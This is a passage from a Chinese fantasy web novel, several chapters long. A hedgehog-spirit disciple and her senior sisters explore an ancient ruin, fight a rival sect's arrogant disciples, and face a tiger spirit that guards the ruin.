裴依宁封住帐篷帘:“我吵醒你了吗?” 云榆道:“渴醒了。” 裴依宁温了杯水给她:“还早,继续睡吧。” 云榆捧着杯子,大口喝过几口,用力咽下,喉咙的阻隔感消退,她道了声“谢”:“师姐出去有事吗?这外面都是人,一个人出去太危险了。” 裴依宁接回杯子放好,意义不明:“一个出去的确太危险了,”她上床,“遇到三只很可爱的小刺猬,领头的那只,尤为可爱。” 云榆唇边的笑差点压不住,好在环境昏暗,难以察觉:“刺猬本来就很可爱啊。” 裴依宁深表赞同:“云师妹见过刺猬吗?” 云榆瞥她眼:“见过。” 裴依宁平躺而下,复又抬起上半身,连人带被子一同拢住身旁的人,她脸颊贴近,温热的呼吸撒在下方人的脖颈处。 被她突如其来的举动惊到,云榆呼吸止住,大气不敢出。 盖着的被子被压到身下,腰身被轻轻拢住,往女人的方向带去。 淡淡的药香萦绕在鼻息间,近在咫尺的距离让云榆能地看清裴依宁脸上微小的绒毛,昏暗中,唯有女人是清晰的。 心脏跳动不止,云榆不自觉地抓紧被褥,掌心似乎浸出水渍,湿湿的。 她咽住喉咙,别回头,微张着口呼吸。时间流逝缓慢,她第一次觉得只是盖个被子,就这样难熬。 裴依宁温声道:“这里有空,往这边来来,别掉下去了。” “不会的。”云榆细若蚊蝇地反驳,“不会掉下去的。” 裴依宁不置可否,躺了下去。 云榆咬着下唇,没再往回缩,她和裴依宁靠得太近了,只一睁眼,就是女人精致完美的侧颜,更让她忍不住嗅闻的,是女人身上的香味。 很好吃的样子。 思绪在大战,云榆的头上出现两只小刺猬,一只小刺猬身着黑衣,露出尖锐的牙齿,怂恿她:“没关系的,靠得这么近,闻闻也不会发现的。” 另一只小刺猬身着白衣,伸出短短的爪子阻止她:“不可以,她是你的小跟班。” “小跟班怎么了?只是闻闻而已,又不会吃了她。” “不可以,你要有原则。” “……” 两方争吵的云榆脑袋疼,天秤逐渐倾斜。 既然是小跟班,让她闻闻也没事吧。 黑衣小刺猬弹开白衣小刺猬,占据上风。 云榆头往前倾,就着似有若无的清香,沉入梦乡。 天蒙蒙亮时,外面传来剧烈的嘈杂声,脚步声和喊叫声不绝于耳。 云榆于梦中被惊醒,模模糊糊地翻身,额头下低,烦闷地哼了两声。还当是一个人睡的,手臂不老实地往旁伸懒腰。 触及到一片柔软时,她歪头,四目相对,云榆下意识惊叫声,混沌的大脑瞬间清醒,手臂从裴依宁锁骨上抽回。 她翻身滚动,摔倒床下,撑着床面跌跌撞撞地爬起来,欲哭无泪:“我……我不是故意的。” 她含着颤音:“师……师姐,你,你听我解释,我真的不是故意的。” 被她犯蠢的样子逗到,裴依宁好以整暇地坐起身,边整理衣衫边道:“好啊,云师妹想怎么解释。” 云榆语塞,紧张到五官扭在一起。本就是随口一言,真要解释,她根本说不出个所以然。 只不能说“没注意到师姐”或者是“没意识到和师姐睡在一起”,怎么说怎么变扭。 云榆默默将脸贴到床面,火辣辣地烧得疼。 尴尬,好尴尬,妖怎么能尴尬成这样。 她一定是只失败的妖。 偏偏那声尖叫传出,风浅念和原以诗以为两人出了什么事。 帐篷外传来风浅念关切的声音:“云师妹,发生什么事了吗?” 云榆耳尖红透,如被煮熟的大虾,弓着身体:“没事。” 裴依宁下身扶起她,指腹挑起云榆的脸颊。 那双在什么时候,都总是带笑的眸子水汪汪一片,裴依宁怜惜地擦过云榆的下眼睑,温声安抚:“不过是碰了下,怎么反应这么大?” 人形的云榆若是有小刺猬形的星星一半脸皮厚,一半活跃就好了。 不对,不能用这个形容词,某只小刺猬知道,会生气的。 只是想到那个画面,裴依宁便忍俊不禁。 瞥见女人的笑,云榆稍稍肯抬起头,脸色还是红地烫人。 裴依宁揉她脸颊,手感意外的好,可外面还有两人,不好继续耽误。她可惜地在喟叹声,扬声:“无事,我们等会就出去。” 简单的洗漱过后,两人一前一后出去。 经过水流的冲洗,云榆肌肤上的红润褪去许多。她不断扇风,缓解热度。 “云师妹脸是怎么了?”风浅念心思细腻,觉出不一样的地方。 今日的云榆虽与昨日无差别,可眼神总是胡乱的看,没有焦点。 云榆咬住口腔内侧的软肉,哑声:“没事……睡觉的时候不小心压到脸了。” 牵强的借口,顾不得风师姐会不会信,云榆复盘睡醒后发生的一切,像是做梦般。 她掐住手臂,疼得她龇牙咧嘴,不是做梦。 若是她先醒,没有被宁依发现或者是小刺猬形,碰了就碰了,可对上视线的那一刻,电流直击大脑,轰地一声炸开。 无尽的羞涩尽数上涌。 为什么人形和刺猬形心态截然不同。 云榆想不明白。 她小心翼翼地往身侧看去,被她触碰的人远没有她这般在意,无事发生地与风浅念和原以诗聊及遗迹。 聊完,裴依宁回到云榆身侧,取出一枚灵果:“吃吗?” 云榆恨恨咬牙:“吃!” 作者有话说: 云榆:啊啊啊啊。 小刺猬:碰就碰了【你现在阅读的是 】 50-60 第51章 第五十一章[VIP] 一道道破空声从四面八方传来, 大片阴影自头顶略过,遮挡一瞬光线,云榆啃着灵果,下意识往上一看。 无数修士从各处涌来, 远比昨晚在这安营扎寨的多得多。 含在口中的灵果散去味道, 云榆瞪大了眼睛,怎么会突然来这么多人。 这座遗迹竟然能吸引到这么多人。 裴依宁等人早有预料, 反应不大地继续往前走, 原以诗和风浅念低语。 师姐们都不急,她急什么。 云榆又啃了口灵果, 不紧不慢地跟着前面三人。 察觉到她的安静,裴依宁脚步慢了几分, 有意等故意落在后面的人,后面人始终与她保持一个身位的距离。 裴依宁止住步伐,等云榆不情不愿地与她并肩,才是迈步而行。 “云师妹,这果子好吃吗?”裴依宁又递过来一根晒干的肉条, “这个吃吗?” 云榆没出息地伸手:“谢谢师姐。” 风浅念听闻两人动静, 扭头, 恰好看见这幕, 手一伸, 笑道:“你么两人在后面开小灶, 不分给我们尝尝吗?” 被风师姐三两句话弄的羞涩不已,她看看裴依宁, 又看看咬过的肉干, 努力降低自己的存在感,低头不语, 当做没看见。 裴依宁翘唇,拿出两根递过去。 风浅念不与她客气,直接接过,分了根给观察前方动向的人一根:“后面给的,味道应该会很不错,要尝尝吗?” 原以诗淡淡“嗯”了声,接过掰下一点填入口中,剩余的也不吃,捏在两指尖间。 “滚开,先来后到懂不懂,我守了一夜,你们说先进就先进,凭什么啊?” “凭什么?就凭我们拳头比你硬!” “……” 激烈的吵闹声从前方传来,一方数量多的将一开始喊叫的那批人团团围住。 领头人斜后方的男子不屑地提起剑,对着一众散修指过,阴测测道:“还有谁有疑问?现在提出来。” 他的胸前绣着一朵火焰形状,下方用古文篆刻出“焰”字。 是苍焰宗的人。 被指到的散修纷纷后退,即使有实力高强者也是沉默不语,不愿与苍焰宗的人交恶。 见无人上前,那人气焰更为嚣张,不屑地拍拍一开始叫嚷人的脸:“你还有意见吗?” 被拍之人愤恨不已,胸膛往前一靠,就要动手,却被与他一同的伙伴拉住,低声耳语:“他们不是我们可以得罪的起的。” 显然是听见这句话了,提剑男子冷哼一声:“以卵击石。” “平新荣,回来。”苍焰宗领队越天干道。 平新荣收剑,退回至越天干身后。 越天干歉意一笑,对着被平新荣在众人面前羞辱的人拱手一拳:“这位兄弟,实在是抱歉,是我管教不得,还请你不要见怪。” 他如此一说,本就没实力与苍焰宗做对的人只能拱手回礼,任由这件事告一段落。 站在不远处将这一切看得清清楚楚的云榆翻了个白眼,一个唱黑脸,一个唱白脸,苍焰宗真是好生不要脸。 她心里默默唾弃,面上不动声色地啃食灵果。 对她多有熟悉,捕捉到云榆一瞬而逝的表情,知她对这件事看不惯,温声安抚:“先进遗迹不一定能找到好东西,兴许还会丢了性命。” 后知后觉意识到这句话是对自己说的,云榆双手捧着灵果,无辜地眨眨眼。 经此,提前来此蹲守的散修们敢怒不敢言,实力压制下,他们根本无法反抗苍焰宗的人。 而那些其余宗门的弟子,因不触及自身利益,亦是睁一只眼闭一只眼。更有甚者,因为有苍焰宗的带头,带着自家宗门的人先一步进去了。 原以诗等人并无多大变化,她们没有穿含着宗门标识的衣衫,混在一众散修者中,随着人潮一点点进去。 但若是仔细观察,在她们四人的周围,人流总是与她们间隔半米,无形的空气墙将她们包裹其中。 裴依宁拉住云榆的衣袖,亦步亦趋地跟随前人:“云师妹,人多,别走散了。” 约莫半柱香的时间,四人进入遗迹中。 内部四通八达,在她们前面进入的人已经不知去了哪里。 空气中凝结着新出的血腥味。 刚入遗迹,已经有人打起来了。 原以诗随意挑选了一条通道走进。 裴依宁掌心一摊,隔空取出数张符纸递给云榆:“云师妹,这几张符纸你收下,关键时刻,可护你安全。” 大致看了眼,这几张符纸与她给裴依宁的并不一样。 云榆不客气地收下:“谢谢师姐。” 这条通道尽头是两间一模一样的房间,房门打开,露出内里存放的物品。 隔架上摆放着一瓶瓶丹药。 裴依宁眯起眼睛,眸光中幽深的光芒流转不断,一瓶瓶丹药释放出的药香在她眼中形成一缕缕实质,漂浮在空中。 原以诗给她一个眼神。 裴依宁微微摇头。 云榆悄悄拉下裴依宁的袖子,很轻地问:“师姐,这些药有问题吗?” 她对丹药不了解,但宁依是丹修,说不定能看出其中隐藏的问题。 裴依宁轻点其中一间房内的药瓶:“这间房内的并无问题。” 她视线转动,看向另一件房,不同于上一间,这间房内药香凝成黑色的雾霾,笼罩住房间。 有雾霾悄无声息地往外漂。 裴依宁攥住云榆的胳膊往后快速退去。 原以诗和风浅念反应迅速,在裴依宁两人退去的瞬间,极速往后移动。 “那间房里的丹药有问题?”风浅念问。 裴依宁点头:“第一间房内的丹药是正常的,但第二间房里面,含着毒雾。” “我怎么没看见毒雾。”云榆小声插话。 话音未落,三位师姐齐刷刷地看向她,云榆连忙捂住嘴巴,做了个拉起的动作。 裴依宁正欲解释,下一刻,有脚步声响起,她只能暂时放弃与云榆说话。 “师兄,我就说,这么大的遗迹,不可能没有丹药。”谄媚至极的声顺着幽深的管道传入,“师兄且看,这方罗盘在此处震动的这般厉害,绝对是因为有高品阶的丹药……” “竟然有人比我们先找到此处。”那道声音停下,继而哼笑,“不过也没关系。” 赫然是苍焰宗的那群人。 竟然这么快就遇到了。 平新荣眼尖地看见尽头两间房间内的丹药瓶,根据四人现今的位置,猜测对方还没来得及靠近。 他趾高气昂地:“谁允许你们过来的。”眼珠子转动,视线在四人脸上黏腻地扫过,他捂唇与越天干耳语。 “我见诸位弱不禁风之样,不如诸位与我等一同,届时出去了,可让师兄引你们入苍焰宗。”平新荣放下罗盘,给一边的师弟使了个眼色。 越天干一副温润有礼之样,遥遥对着四人一躬身:“若各位愿意,实属是越某之幸。” 他在这四人身上感知到了橙灵的气息,只是橙灵就敢来遗迹,当真是胆大。他展开扇子,像模像样地扇了几下,势在必得:“不知诸位可否愿意。” “苍焰宗?”原以诗漠然地望向他们胸前的那朵火焰标志上,纤长白皙的手指点过平新荣,“我不喜欢你刚才的眼神。” 她缓而慢,吐字清晰:“让我觉得很恶心。” 她洁癖素来严重,那种近乎穿透的眼神让她厌恶,尤其是那人适才提到的有关风浅念的。 这群人也配吗? 然,不等她出手,残影瞬出,一道破空声激起,裴依宁长发散落,泼墨黑发垂落身后。 而原本簪着的发簪穿过平新荣的眉心,逼得平新荣倒退数十米直直撞到石柱上。他不可置信地瞪大眼睛,身体沿着石柱缓慢下滑。 了无生机。 裴依宁出手过快,以至于云榆都没反应,就见平新荣倒飞出去。 苍焰宗的人素来嚣张惯了,加之没想到会有人敢对他们对手,更没想到平新荣和他们连阻止的机会都没有。 他们何时见过这种情形,不知所措地僵硬在原地。 越天干脸色猛地一变:“不识好歹,连我苍焰宗的人都敢动。” 他下命令:“上。” 一众弟子如梦方醒,冲上去。 四个橙灵能有如此大的能力?不过是借助了什么东西,那东西威力如此大,她们总不能再拿出几十个吧。 他是苍焰宗近五十年弟子中天赋最高的一位,入宗五十年,便是达到了绿灵初期的修为,何等的意气风发,被人追捧。 今日宗门让他带一众师弟前来历练,更是对他能力的肯定。 以往他带人历练,苍焰宗的名号一报,加之自身实力,谁敢不服。 他表面装的风度翩翩,内里早已因被捧高而飘飘然。 平新荣死在他面前,是赤裸裸在打他的脸。 云榆召唤出佩剑,不知是不是有意历练她,与她迎上的,多是与她同一修为的。 一旦有修为高于橙灵的,便是会被原以诗和风浅念挑开。 在宗门的修习远没有实战中学到的多,无论是心态还是随机应变能力。 一套剑招下去,云榆击倒数人,再一回头,苍焰宗的弟子歪歪扭扭地躺在甬道间。 是原以诗和风浅念出的手。 她搜寻宁依的身影,在她记忆中,宁依的修为与她差不多。 可当她找到人时,却见裴依宁一掌将越天干打得口吐鲜血。 宁依实力这么强吗? 这人是苍焰宗的领头人,实力定然不弱,她能感知到对方的实力要远高于自己,可为什么宁依打他轻轻松松。 “我就是你口中的裴师姐。” 这句话蹿至脑海,云榆脸色白了几分,用只有自己能听见的声音低喃自语:“不会的,宁依不会骗我的。” 一定是宁依手上有什么厉害的符纸或宝物。 风浅念余光瞥见云榆呆愣的神色,顺着她的目光看去,明白了原因。 裴依宁刚才出手,并未隐瞒实力。 她是故意让云榆看见,好让对方有所准备,就像是一次次用言语告知云榆她的身份那般。 “师姐,苍焰宗的这些人……”云榆第一次处理这种事情。 总不能让师姐们动手吧。 越天干和平新荣没了气息,其余的弟子多多少少受了伤,一人拉着云榆的衣摆,艰难地求着绕。 云榆于心不忍:“师姐,要为他们医治吗?” 裴依宁摸出新的发簪,将垂落的发丝束好,她一把拉过云榆的手腕,掌心用力,将人拉到身边,看也不看地上的人:“他们与你无关。对象互换,他们会医治你吗?” 蓝灵遗迹,不可能只让绿灵领队来,后面必然还有更高修为的人。 “现在就离开这里,”裴依宁向来不喜多言,但云榆不一样,过于温良,容易心软:“不要为死有余辜的人费时间。” 作者有话说: 第52章 第五十二章[VIP] 处理完苍焰宗的人, 裴依宁带着云榆进到那间正常的丹药房,里面的丹药级别多是三四品的,偶有几瓶七品丹药。 云榆满怀期待的打开其中几瓶六品,七品的丹药, 往外一倒, 全是粉末。 这些丹药因保管不善,早已经无法使用。 云榆脸上闪过点点失落。 与她一同进来的人注意到这点, 倒出一瓶药粉, 指腹摸开,放在鼻尖嗅闻。 最后一点药香很快挥发殆尽。 裴依宁蹙眉, 将药瓶往外伸了点,细细打量。 这些药瓶密封性极好, 是储放丹药的不二之选,但这些丹药怎么会化为齑粉,除非是有人打开过这些药瓶,让其与过量的空气接触,又未能及时发现, 导致丹药尽毁。 在遗迹开启前, 有人或者妖族, 魔族人进来过。 裴依宁放下药瓶, 眸光中流光闪烁。房间内, 药灵化为实质。 她没管这些, 以掌心这瓶丹药为参照,参看其她的药瓶。 无一例外, 里面的灵气都与手中的这瓶差不多。 整个房间的药瓶中装的都是粉末。 云榆将剩余的高品阶药瓶一一打开, 很快,她对着外面等待的两位师姐摇摇头。 风浅念和原以诗看清她提起药瓶, 倒出药粉的动作,知晓她的意思,便是点头回应,让她二人出来。 “这里有一瓶是好的。”裴依宁温润的声音响起,她一手提着一瓶瓷瓶,另一手摊开,露出倒在掌心的圆润丹药,“是一瓶七品丹药。” 云榆认不出丹药的等级,只能根据摆放丹药的架子上写着的等级区别。 她一个健步上前,捏起裴依宁掌心丹药,浓郁的药香填盈,她高高举起,辨认许久,又看看裴依宁身后的四品丹药架:“这个架子上的不是四品吗?” 裴依宁道:“我不知,许是放错了,这的确是一瓶七品丹药。” 宁依身为丹修,自是不会认错,云榆眼中的沮丧退去,欣喜地将这枚丹药攥紧,口中念念有词:“还好有一瓶是能用的,不然太亏了。” 和苍焰宗的人打了一架,还拿不到什么好处,不等于浪费时间嘛。 虽然只是一瓶丹药,但那可是七品,还是不知道多少年前的七品。 她小心翼翼地将丹药塞回瓷瓶中,依依不舍地移开视线,下一秒,瓷瓶塞入她怀中,裴依宁淡淡道:“云师妹,这丹药你收着吧。” 云榆受宠若惊,连连摇手:“这怎么可以,等出去了,我们四人一起分。” 裴依宁:“也好。” 两人一前一后而出,云榆主动拿出瓷瓶,不邀功地:“原师姐,风师姐,这瓶是……”她回头看了眼裴依宁,补足未说完的话,“这瓶是师姐找到的。” 比她早入宗一日便是师姐,宁依虽说不定比她晚入宗,但原以诗和风浅念毕竟是器物堂的人,对于其她峰阁了解不多,总不能因为一个称呼,盘问她们吧。 风浅念莞尔:“能找到一瓶,这条甬道便不算白来。” 她接过云榆递来的瓷瓶,倒出一枚:“可知是什么丹药?” 语落,风浅念发现这枚丹药的差异性,她对着原以诗举起,照射在两人之间的光线打在丹药上,一枚小小的,格外清透,非要灵力不可查的古文篆刻其上——“裴”。 怪不得能在一片齑粉中找到一瓶,风浅念淡笑不已,反手伸到裴依宁面前,故意打趣她:“能看出来吗?” 裴依宁抬眼与风浅念对视,片刻后:“破境丹。” 这是把云榆的突破都算进去。 药瓶重回云榆手中,风浅念声线温柔和煦:“如此,这丹药我与原师姐短时间内便是用不得了,二位留用吧。”不给云榆反驳的机会,她反身往回走,“外面有打斗的气息,应是找到宝物的人回头前往其余甬道,相互遇上,开始夺宝了。” 云榆路过一位奄奄一息的苍焰宗弟子,那弟子七窍流血,俨然是活不了多久,强大的求生欲让他拼劲全力抱住云榆的鞋子,满是血的眼中祈祷哀求:“救……我……求你。” 说完这话,又是一口鲜血吐出。 裴依宁三人停下脚步,她们不干涉云榆的选择。 云榆低着头,看不清神色,数秒后,她蹲下身子。 那弟子眼底迸发出强烈的希望。 然,云榆问:“如果是我被你们打成这样,你们会救我吗?” 那弟子瞪大眼睛。 “或许会,但也会有条件吧。”云榆抱着手帕,用力将他的手从鞋上挪开,她克制住想要救人的念头,“对不起,你命该如此。” 她擦拭鞋上的血迹,可怎么都擦不干净。 她使用个净身术,咬字清晰:“早去早投胎,执念别这么深。” 她起身,撞入裴依宁略显惊诧的目光中,无言地笑笑。 等走到甬道中段,云榆慢条斯理地开口:“师姐很惊讶吗?” 裴依宁“嗯”了声:“我以为你会救他。” 云榆深吸一口气,忽地笑道:“是啊,我很想救他。” 那种极为渴求生的希望的眼神和信念,她曾有过,所以更能感同身受那是种怎样的绝望。 可他与她不同,他是咎由自取,怨不得旁人。 “但师姐不是说了吗?”云榆用她的话,“他们死有余辜。” 裴依宁怔愣一瞬,唇角下弯:“的确。” 走到甬道的出口,刀剑武器打斗声不绝于耳,各种灵力,剑气乱飞,引得这片空间震颤不止。 “如此多的灵石,仁兄半点不分,太伤我们之间的感情了吧。” “去你的,谁与你有感情,我们认识吗?别废话,看你接不接得住我这一棍。” “……” 原以诗伸臂拦住后方两人:“等等再出去。” 云榆眨眨眼,小声与裴依宁嘀咕:“我们是要坐山观虎斗,坐收渔翁之利吗?” 等他们打得两败俱伤了,她们再出去,夺了对面的灵石和宝物。 以往遇见妖族打斗时,她和姐姐便会如此,运气好的话,能获得一点灵石块,一段时间都不用挨饿了。 运气不好,便是什么都没有。 原以诗这时回过头,那双清冷绝尘的脸上写满了不加掩饰的抗拒。 那张本就精致的脸美得突兀:“他们很脏。” 云榆愣住,没理解原以诗话中的意思:“脏?” 风浅念笑得无可奈何,转身解释:“原师姐不喜脏污,外面粉尘乱飞,她不适应。” 何止是粉尘乱飞,血肉也在乱飞。 云榆没想到是这个理由,不可置信地僵硬在原地,她还是第一次听闻这种理由。 视线不自觉地往下。 裴依宁轻轻牵住她的手腕,引得她不得不看向拉住她的人。 原以诗已经转回去。 外面打斗声突然止住,零星的一点还在继续,但很快消失于无。 空气中蔓延的血雾如凝成实体,几欲令人作呕。 云榆悄悄捂住鼻子,她在后面,不明白为何之间,血气浓重至此。 “苍焰宗的人来了。”原以诗淡淡道。 苍焰宗的人不是已经……云榆回过头,视线似乎穿过幽深的甬道,直到尽头。 裴依宁看出她的困惑,道:“那些人中最厉害的不过绿灵,修为更高的,在外面。” 云榆心提起,岂不是说,她们等会还要再次面对苍焰宗的人。 而且,她们之前下手那般不留情,若是被外面的人知晓,势必又是一场恶战。 “不用害怕,我们……” “我会拖你们后腿的。”云榆轻柔地打断裴依宁的话,“若是出现危险,师姐们不用管我,保全自身要紧。” 她从不愿意当累赘,但总是会成为累赘。 裴依宁心脏骤然一停,扯扯唇角:“胡说什么?” 云榆开玩笑地道:“苍焰宗来人太多,总不能全军覆没吧,等出去了,在替我报仇也不迟啊……” 她说不下去,那些人的气息远比越天干强横,少说都是绿灵之人。 她们四人,双手难敌四拳,又被堵在甬道内。 她听见苍焰宗的人在用灵器找寻越天干等人。 用不了多久,就会被发现。 原以诗微不可察地抬起半边眉梢,低沉的笑音在寂静的环境中清晰异常。 她性子淡漠,对什么都事不关己般,云榆从未在这位原师姐身上见过多余的表情。 至少出宗到现在是如此。现竹府 风浅念清楚云榆的顾虑,暖言安慰道:“云师妹,你和我们皆是同宗之人,背弃同门的事情,我们是做不出来的。” 她对云榆观感不错,唯独一点,太过在意别人,以至于宁可损害自身利益:“我们之间没有拖累之说,况且你本就是被我们带出来历练的。若是无法保证你的安全,我们三人又有何脸面回宗?” “你好歹叫我一声师姐,在他们这,护住你的安危,还是可以做到的。”原以诗缓而慢地补充。 裴依宁抑制住心疼,闭目睁开:“等会跟在我身边,不要乱想。你从来都不会是拖累,以前不会,现在不会,未来更不会。” 云榆身体的某处被重重冲击,酸涩感溢满鼻腔,她微垂着头,咬住下唇,哽塞从喉咙蔓延到鼻腔,无尽的情绪尽情涌现。 这句话,姐姐对她说过。 “我知道了,师姐们,”云榆咬住舌尖,止不住的颤抖,“我会保护好自己,跟紧你们的步伐。” 裴依宁揉揉她毛绒绒的发顶。 恰在此刻,云榆脚边一块松软的石板被顶开,两只小脑袋探出,左右四看。 发觉有人,两只小脑袋腾地一下收回,石板砸下。 过了几秒,两只小脑袋又探出来。 是一白二白。 云榆还没来得及收拾情绪,移步一踩,刚被顶起的石板落下。 一白二白又被砸下去。 裴依宁察觉到云榆的动作,余光捕捉到两只白毛刺猬上来的一幕,她用探究的眼神询问云榆。 云榆没注意到她,只一个劲想一白二白怎么出现在这,她们俩挖的地道难道就是通往这边的吗? 怎么这个时间点出现。 就在云榆思索怎么办的时候,裴依宁脚前的石板来回晃动几下。 两只小脑袋从那探出。 云榆:“……” 这回躲不掉了。 “呀,是两只小刺猬。”云榆硬着头皮,装作惊讶的样子。 二白激动地捶了下一白,用刺猬语道:“我嗅到老大的气息了。” 云榆身体僵硬,见三位师姐对她们说的话没反应,才是稍稍安心。 还好一白二白不会说人语。 风浅念歪头,传音给裴依宁:【这是云师妹的同族?】 裴依宁声线无起伏:【不是,是她新收的跟班。】 风浅念回头,覆在原以诗耳边低语几句,后者瞟了眼裴师妹的脸色。 面无表情。 好惨,跟班身份被抢。 云榆佯装不懂地敲敲二白的额头:“叽里咕噜的说什么呢?” 她掀开石板,将一白二白一个个地塞回去,像是在学习二白的几声叫了几下,随后道:“声音怪好听的,就是可惜了,听不懂在说什么。” 裴依宁顺手拉起云榆,掏出手帕擦拭对方的掌心:“不知从哪跑出来的,你别乱摸,这座遗迹存着不知道的东西,别伤到自己。” 原以诗轻咳一声。 “嗯嗯。”云榆胡乱应着。 她刚刚用刺猬语提醒一白二白躲好,别出来,不知两只刺猬会不会听话。 她忧心忡忡,无瑕分析宁依话语中的意思。 而在此刻,苍焰宗的人定位到越天干等人的位置,往她们这条甬道而来。 原以诗出声:“走,出去。” 说罢,她迈步向外。 云榆小跑着跟在裴依宁身边,警惕地召唤出佩剑,灵力在筋脉中涌动,灵珠在灵海内飞速转动。 苍焰宗人见她们从甬道中出,纷纷举起武器,紧紧盯着她们。 偌大的空地到处是残肢断臂,了无气息的修士。 云榆被这一血腥的一幕惊到,五脏六腑翻涌起来,一阵阵反胃,让胃部一抽,喉咙紧缩,下意识扶住裴依宁的手臂,歪头干呕起来。 她这一举动使得苍焰宗人全看过来,其中一人忍不住笑出声:“这就吓到了?” 裴依宁塞了枚丹药进云榆口中,取出水袋喂给她。 云榆囫囵喝了两口,唇色惨白。 人族总是比妖族残忍得多。 “我们是否在哪里见过?”苍焰宗为首之人拦住适才笑出声的弟子,直视风浅念。 风浅念上前半步,掏出弟子令牌:“明越宗器物堂风浅念,若是没记错,我曾为你修补过灵器。” “怪不得我觉得眼熟。”伏浩言拱手抱拳,“不想在此遇见,幸会。” 风浅念回之一礼,主动道:“你们要进此条甬道吗?我们刚出来,里面有两间丹药房,其中一间里的丹药都已化成齑粉,另一间想来也是如此,还是换其它路吧。” 伏浩言笑道:“宗门弟子误入,了无音讯,不知各位可遇见身着我宗服饰的弟子?” 云榆紧张地攥紧灵剑。 “见过。”风浅念微笑,“他们在里面。” “多谢告知,师弟们管教不严,让各位见笑了。” 苍焰宗的人从她们身边路过,待到人完全进入,原以诗不紧不慢地丢下一张符纸,一阵小型阵法自符纸内升腾而起,堵住甬道口,隐没在无形中。 “走。”原以诗挥手。 根据各个甬道染血的情况,原以诗选了条甬道口留有血迹,但往前一点则是毫无踏足之痕的地界。 那血迹是打斗时溅上去的。 刚走没几步,地面一沉,扬起的灰粉飘起,裴依宁支起一道屏障护住三人,面色冷凝地望向刚站过的地方。 一只数十米高的黑虎灵影凝结而出,气压使得整座遗迹开始晃动,黑虎仰天长啸,起浪掀地遗迹晃动更为剧烈,地面摇动。 云榆脚步不稳地抓住裴依宁,灵剑奋力插入地面,稳住身形。 这就是一白二白说的大东西吗? 一爪能把她们拍成肉饼。 “护迹灵兽?”裴依宁眯起眼睛,“不对,是遗迹之主。” 她抓住云榆,两指之间,一张符纸飞出,定在她支起的屏障之上:“原师姐,往后退。” 虎啸声震得人耳发疼。 “遗迹之主?”云榆脸色尚未恢复,撑着裴依宁的胳膊将灵剑抽出,跟着原以诗往后钻入选中的甬道。 地面裂缝扩大,石板一块块坍陷而下,噼里叭啦不断,云榆神色慌张地望向一白二白躲藏的地方,那里的地面已经陷下。 她瞳孔猛缩,却也知现在不是找她们都时候,强忍着痛意后撤:“不是说是死后留下的吗?怎么会是遗迹之主。” 几人身影飞快,一道道残影沿着她们后撤的途中往回拉。 裴依宁解释:“是留下的残魂。” 残魂无实体,经过这么多年遗迹内灵气供养,又在对方主场,轻易对付不得。 “它往另一个方向去了。”原以诗感知到黑虎离去的方向,速度慢了下来,“应该是先去找别的人了。” “轰隆”。 天摇地晃,原本固若金汤的遗迹竟然开始崩坏,黑虎毫不留情的一掌掌拍下,一条条甬道坍塌粉碎。 依照这个速度,很快就会到她们这条。 原以诗划开手指,以血在半空中勾画篆刻,金色的光芒自她指尖流淌,符文成形,手腕翻转结印,她双手一拉,符文不断变大,附加在这条甬道上。 晃动不止的甬道恢复平静。 有了喘息时间的云榆开始担心一白二白的安危,一次次的坍陷,一白二白这两只不一定有自保能力。鲜朱富 云榆只希望她们原路返回,已经回到遗迹外了。 她咽下喉咙,不等缓解多久。 “轰隆”,又是一掌落下。 这一掌离她们极近,云榆扬头,只见黑虎已经转到她们这条甬道,虎爪高高举起。 巨大的虎爪撑满云榆整片瞳孔。 三道灵力冲天而起。 裴依宁两手合拢,转动,抬起,左手握住右手手腕,右手伸出两指,灵力直冲而上。 云榆没时间多想,调动灵力跟随而上。 然,面对魂体的黑虎,她们的灵力穿过黑虎的爪子,只有一小部分发挥作用,勉强挡住黑虎不断落下的爪子。 “不行,它打我们是实质伤害,我们却难以伤到它。”风浅念接连丢出数张符纸稳固空间。 “冰封。”原以诗冻结空间,以冰属性减缓黑虎的速度。 裴依宁瞥向身形摇摇欲坠的云榆,深知对方承受不住如此巨量的灵力消耗,顾不得旁的,她对原以诗和风浅念道:“原师姐,浅念,帮我护法。” 黑虎是魂体状态,那么只有以魂体的形式才能伤到对方。 原以诗和风浅念知晓她的意思,但灵魂出体,一旦出事,将是致命的,况且只是一尊蓝灵,就让她们使出这招,实在得不偿失。 风浅念道:“不可,此处遗迹不稳,先拖住它,残魂而已,它撑不了多久。” 云榆不知她们说的什么意思,可也知是什么危险的事情,她唇色发白,咬紧牙关:“你要做什么?” 她体内的灵力在飞速减少,几乎要支撑不住人形了。 “云师妹,你先进里面的房间。”裴依宁道。 只要她们挡住黑虎落下的爪子,这条甬道不塌,那间房便不会有事。 “我不……” 云榆刚出声,一道巨力将她拉扯,裴依宁攥住她的手腕,一脚踹开房门,塞给她一枚丹药,将她丢拉进去,态度前所未有的强硬:“在这里好好恢复,有原以诗和风师姐在,你不用担心我。” 她关上门,刻下禁制在门上。 在房门关上的那瞬,云榆无力支撑人形,软软地倒在地上,化成了一只小刺猬。 顾不了这些,小刺猬双爪扒拉房门,可房门纹丝不动。 “可恶的笨宁依。”小刺猬吞了那枚丹药,对房门拳打脚踢。 可她现在出去的确做不了什么,她现在连人形都化不了了。 小刺猬瘫坐在地上,垂目摊开双爪。 自己又一次成为了负担。 无力感袭来,小刺猬眼眶发酸,蓄上点点水渍。 一滴泪落下,水花绽开,染湿那块石板。 石板下有细微的响声,小刺猬浑然不觉,情绪不断蔓延。 忽而,两只小脑袋顶起那块石板。 一白二白探出小脑袋,看见她,惊喜道:“老大,你真的在这,我和二白一直在找你。” 瞧见她们,小刺猬下意识道:“不是让你们躲好吗?怎么还没走。” “因为老大还在里面啊。”二白理所当然地道,她探头探脑,“老大,你哭了?” “瞎说什么?”小刺猬手忙脚乱地擦着脸,“风吹到眼睛了。” 二白:“老大,那个大家伙出现了,你快跟我们离开这里。” 离开,小刺猬抓到关键词:“能出去?” 一白道:“从我们先前挖的地下走。” 地道,那就是不能带上宁依她们一起了。一白二白挖的太小了。 刚起身的小刺猬坐下:“你们走,快走。” 一白和二白叽里咕噜地交流起来,小刺猬听得懂她们的话,茫然地盯着房门,并不插话。 “老大是因为人,所以不走吗?”一白小心翼翼地问,“我和二白知道那个大家伙住的地方。” 作者有话说: 第53章 第五十三章[VIP] 穿梭于地下隧道, 小刺猬才意识到一白二白挖的隧道有多么四通八达,若非有两只白毛刺猬在前面带路,用不了多久,她就会迷失其中。 “不是说只来过几次吗?”小刺猬边跑边问, “你们是怎么挖这么深, 这么长的。” 二白转个弯,四肢慢了几分:“我们一次进来好久, 慢慢就挖到这了。老大, 